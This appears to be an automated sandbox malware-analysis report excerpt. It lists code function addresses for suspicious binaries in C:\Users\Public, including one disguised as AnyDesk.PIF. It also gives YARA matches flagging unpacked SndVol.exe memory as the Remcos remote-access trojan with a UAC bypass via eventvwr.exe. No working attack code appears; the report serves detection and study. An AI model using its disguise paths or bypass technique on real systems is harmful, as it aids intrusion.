Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC24B68	7_2_00007FF68FC24B68
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC54B30	7_2_00007FF68FC54B30
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC86A84	7_2_00007FF68FC86A84
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC8EA7C	7_2_00007FF68FC8EA7C
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCD4A40	7_2_00007FF68FCD4A40
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCF4A58	7_2_00007FF68FCF4A58
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCEAA58	7_2_00007FF68FCEAA58
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC8AA00	7_2_00007FF68FC8AA00
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC609EC	7_2_00007FF68FC609EC
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCDA9F0	7_2_00007FF68FCDA9F0
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC6E9F0	7_2_00007FF68FC6E9F0
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC58990	7_2_00007FF68FC58990
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC66984	7_2_00007FF68FC66984
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC02940	7_2_00007FF68FC02940
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCE08C8	7_2_00007FF68FCE08C8
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCE48C4	7_2_00007FF68FCE48C4
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCF2854	7_2_00007FF68FCF2854
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC8E844	7_2_00007FF68FC8E844
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCB07D0	7_2_00007FF68FCB07D0
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC827D0	7_2_00007FF68FC827D0
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC8C7F0	7_2_00007FF68FC8C7F0
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCF6750	7_2_00007FF68FCF6750
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC7C6F8	7_2_00007FF68FC7C6F8
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC6C6D0	7_2_00007FF68FC6C6D0
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCCC630	7_2_00007FF68FCCC630
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC68630	7_2_00007FF68FC68630
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FD085EC	7_2_00007FF68FD085EC
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC105E0	7_2_00007FF68FC105E0
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC52580	7_2_00007FF68FC52580
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC9E57C	7_2_00007FF68FC9E57C
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCF85A8	7_2_00007FF68FCF85A8
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCD4538	7_2_00007FF68FCD4538
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC38570	7_2_00007FF68FC38570
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC6655C	7_2_00007FF68FC6655C
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC0C520	7_2_00007FF68FC0C520
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC724D4	7_2_00007FF68FC724D4
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC8E4F0	7_2_00007FF68FC8E4F0
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC144E0	7_2_00007FF68FC144E0
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCE84D8	7_2_00007FF68FCE84D8
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCE0490	7_2_00007FF68FCE0490
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC98488	7_2_00007FF68FC98488
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC58484	7_2_00007FF68FC58484
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC464A8	7_2_00007FF68FC464A8
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC7C450	7_2_00007FF68FC7C450
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC7A450	7_2_00007FF68FC7A450
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC88414	7_2_00007FF68FC88414
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC24410	7_2_00007FF68FC24410
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FD1842F	7_2_00007FF68FD1842F
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCEE430	7_2_00007FF68FCEE430
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC0A424	7_2_00007FF68FC0A424
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC943D0	7_2_00007FF68FC943D0
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC60398	7_2_00007FF68FC60398
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC4E3A0	7_2_00007FF68FC4E3A0
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCE234C	7_2_00007FF68FCE234C
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC96374	7_2_00007FF68FC96374
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC2227C	7_2_00007FF68FC2227C
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC76280	7_2_00007FF68FC76280
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC5E29C	7_2_00007FF68FC5E29C
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCE4274	7_2_00007FF68FCE4274
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FD141F8	7_2_00007FF68FD141F8
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCC821C	7_2_00007FF68FCC821C
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC5C1D0	7_2_00007FF68FC5C1D0
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC8A1E8	7_2_00007FF68FC8A1E8
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC20140	7_2_00007FF68FC20140
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC08170	7_2_00007FF68FC08170
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC6C0B8	7_2_00007FF68FC6C0B8
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCD2084	7_2_00007FF68FCD2084
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC38080	7_2_00007FF68FC38080
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCB9FF8	7_2_00007FF68FCB9FF8
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC68018	7_2_00007FF68FC68018
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC01F80	7_2_00007FF68FC01F80
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC95F04	7_2_00007FF68FC95F04
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC51ED0	7_2_00007FF68FC51ED0
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC89EE4	7_2_00007FF68FC89EE4
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC8DEB0	7_2_00007FF68FC8DEB0
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC5DEA4	7_2_00007FF68FC5DEA4
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC8BE70	7_2_00007FF68FC8BE70
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC35DF7	7_2_00007FF68FC35DF7
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC91E2C	7_2_00007FF68FC91E2C
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC11DE8	7_2_00007FF68FC11DE8
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FD0DD84	7_2_00007FF68FD0DD84
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC9BDA0	7_2_00007FF68FC9BDA0
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCB7D70	7_2_00007FF68FCB7D70
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC59D6C	7_2_00007FF68FC59D6C
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC61D70	7_2_00007FF68FC61D70
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC15D08	7_2_00007FF68FC15D08
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC3DD20	7_2_00007FF68FC3DD20
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC39CD0	7_2_00007FF68FC39CD0
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCC9CC0	7_2_00007FF68FCC9CC0
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC5BCE8	7_2_00007FF68FC5BCE8
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC81C90	7_2_00007FF68FC81C90
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FD0FC90	7_2_00007FF68FD0FC90
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC1BCA4	7_2_00007FF68FC1BCA4
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC53C60	7_2_00007FF68FC53C60
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCB3C10	7_2_00007FF68FCB3C10
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC5FC34	7_2_00007FF68FC5FC34
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC3FC20	7_2_00007FF68FC3FC20
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC29BC8	7_2_00007FF68FC29BC8
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC6DBF0	7_2_00007FF68FC6DBF0
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC71B84	7_2_00007FF68FC71B84
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC0FB84	7_2_00007FF68FC0FB84
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC05BA4	7_2_00007FF68FC05BA4
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCAFB50	7_2_00007FF68FCAFB50
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC97B74	7_2_00007FF68FC97B74
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCCBB28	7_2_00007FF68FCCBB28
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC67AC8	7_2_00007FF68FC67AC8
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC17AB4	7_2_00007FF68FC17AB4
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC7BA48	7_2_00007FF68FC7BA48
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC33A40	7_2_00007FF68FC33A40
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCB9A58	7_2_00007FF68FCB9A58
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC51A60	7_2_00007FF68FC51A60
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC01A10	7_2_00007FF68FC01A10
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC2F9B8	7_2_00007FF68FC2F9B8
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC8F990	7_2_00007FF68FC8F990
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC819AC	7_2_00007FF68FC819AC
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCF994C	7_2_00007FF68FCF994C
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCF7938	7_2_00007FF68FCF7938
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC558CC	7_2_00007FF68FC558CC
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC67890	7_2_00007FF68FC67890
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC9184C	7_2_00007FF68FC9184C
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCD3874	7_2_00007FF68FCD3874
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC9D858	7_2_00007FF68FC9D858
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC1F800	7_2_00007FF68FC1F800
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC21830	7_2_00007FF68FC21830
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCB3820	7_2_00007FF68FCB3820
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC777C8	7_2_00007FF68FC777C8
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC417D4	7_2_00007FF68FC417D4
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC6D7F0	7_2_00007FF68FC6D7F0
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC1B788	7_2_00007FF68FC1B788
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC59790	7_2_00007FF68FC59790
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC83760	7_2_00007FF68FC83760
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC8F6D8	7_2_00007FF68FC8F6D8
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCDD6DC	7_2_00007FF68FCDD6DC
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCB7678	7_2_00007FF68FCB7678
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCE7678	7_2_00007FF68FCE7678
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC576B0	7_2_00007FF68FC576B0
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCBD6A0	7_2_00007FF68FCBD6A0
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC45648	7_2_00007FF68FC45648
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCE3638	7_2_00007FF68FCE3638
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCD5660	7_2_00007FF68FCD5660
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC2D660	7_2_00007FF68FC2D660
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC0F610	7_2_00007FF68FC0F610
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC895FC	7_2_00007FF68FC895FC
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC655F0	7_2_00007FF68FC655F0
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC3B58C	7_2_00007FF68FC3B58C
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCD9580	7_2_00007FF68FCD9580
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC3156C	7_2_00007FF68FC3156C
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC7F520	7_2_00007FF68FC7F520
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCD14F0	7_2_00007FF68FCD14F0
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCB9494	7_2_00007FF68FCB9494
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC67478	7_2_00007FF68FC67478
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCF94A8	7_2_00007FF68FCF94A8
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC254A0	7_2_00007FF68FC254A0
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC05438	7_2_00007FF68FC05438
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC4D440	7_2_00007FF68FC4D440
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCAD460	7_2_00007FF68FCAD460
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC073F8	7_2_00007FF68FC073F8
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC7D410	7_2_00007FF68FC7D410
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC4F434	7_2_00007FF68FC4F434
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FD033D4	7_2_00007FF68FD033D4
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCF33D0	7_2_00007FF68FCF33D0
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCEB3AC	7_2_00007FF68FCEB3AC
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC37340	7_2_00007FF68FC37340
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC2B36C	7_2_00007FF68FC2B36C
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC95318	7_2_00007FF68FC95318
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC692C4	7_2_00007FF68FC692C4
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC0F2C0	7_2_00007FF68FC0F2C0
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC5D2C0	7_2_00007FF68FC5D2C0
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC792D8	7_2_00007FF68FC792D8
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCB5290	7_2_00007FF68FCB5290
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCDD2B4	7_2_00007FF68FCDD2B4
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC511C8	7_2_00007FF68FC511C8
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC1D1B8	7_2_00007FF68FC1D1B8
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC531E0	7_2_00007FF68FC531E0
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC8F168	7_2_00007FF68FC8F168
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 10_2_02DEC31A	10_2_02DEC31A
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 10_2_02D320C4	10_2_02D320C4
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 10_2_02DDC153	10_2_02DDC153
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 10_2_02E02139	10_2_02E02139
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 10_2_02DDC6E2	10_2_02DDC6E2
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 10_2_02DD443F	10_2_02DD443F
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 10_2_02E08964	10_2_02E08964
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 10_2_02DDCEF4	10_2_02DDCEF4
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 10_2_02DD2EA7	10_2_02DD2EA7
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 10_2_02DF4F5C	10_2_02DF4F5C
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 10_2_02DFAC90	10_2_02DFAC90
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 10_2_02DE8C8B	10_2_02DE8C8B
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 10_2_02DDCD8B	10_2_02DDCD8B
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 10_2_02DF53BA	10_2_02DF53BA
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 10_2_02DF518B	10_2_02DF518B
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 10_2_02E07A9B	10_2_02E07A9B
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 10_2_02DEDAA0	10_2_02DEDAA0
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 10_2_02DC9E73	10_2_02DC9E73

Source: C:\Users\Public\alpha.exe	Code function: String function: 00007FF6A0E83448 appears 36 times
Source: C:\Users\Public\kn.exe	Code function: String function: 00007FF68FD0F11C appears 37 times
Source: C:\Users\Public\kn.exe	Code function: String function: 00007FF68FD0F1B8 appears 183 times
Source: C:\Users\Public\kn.exe	Code function: String function: 00007FF68FCC0D10 appears 181 times
Source: C:\Users\Public\kn.exe	Code function: String function: 00007FF68FC0D1C8 appears 41 times
Source: C:\Users\Public\kn.exe	Code function: String function: 00007FF68FC3BC9C appears 280 times
Source: C:\Users\Public\kn.exe	Code function: String function: 00007FF68FCC7BAC appears 34 times
Source: C:\Users\Public\kn.exe	Code function: String function: 00007FF68FD164A6 appears 173 times
Source: C:\Users\Public\kn.exe	Code function: String function: 00007FF68FCC7D70 appears 35 times
Source: C:\Users\Public\kn.exe	Code function: String function: 00007FF68FC9EB98 appears 93 times
Source: C:\Users\Public\kn.exe	Code function: String function: 00007FF68FCBABFC appears 818 times
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: String function: 02D489D0 appears 45 times
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: String function: 02D344DC appears 74 times
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: String function: 02D4894C appears 56 times
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: String function: 02D34860 appears 949 times
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: String function: 02D34500 appears 33 times
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: String function: 02D346D4 appears 244 times
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: String function: 02DEA120 appears 44 times

Source: 20.2.SndVol.exe.2cf0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 20.2.SndVol.exe.2cf0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 20.2.SndVol.exe.2cf0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer author = ditekSHen, description = detects Windows exceutables potentially bypassing UAC using eventvwr.exe
Source: 25.2.SndVol.exe.27d0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 25.2.SndVol.exe.27d0000.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 25.2.SndVol.exe.27d0000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer author = ditekSHen, description = detects Windows exceutables potentially bypassing UAC using eventvwr.exe
Source: 20.2.SndVol.exe.2cf0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 20.2.SndVol.exe.2cf0000.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 20.2.SndVol.exe.2cf0000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer author = ditekSHen, description = detects Windows exceutables potentially bypassing UAC using eventvwr.exe
Source: 23.2.SndVol.exe.2c00000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 23.2.SndVol.exe.2c00000.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 23.2.SndVol.exe.2c00000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer author = ditekSHen, description = detects Windows exceutables potentially bypassing UAC using eventvwr.exe
Source: 25.2.SndVol.exe.27d0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 25.2.SndVol.exe.27d0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 25.2.SndVol.exe.27d0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer author = ditekSHen, description = detects Windows exceutables potentially bypassing UAC using eventvwr.exe
Source: 23.2.SndVol.exe.2c00000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 23.2.SndVol.exe.2c00000.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
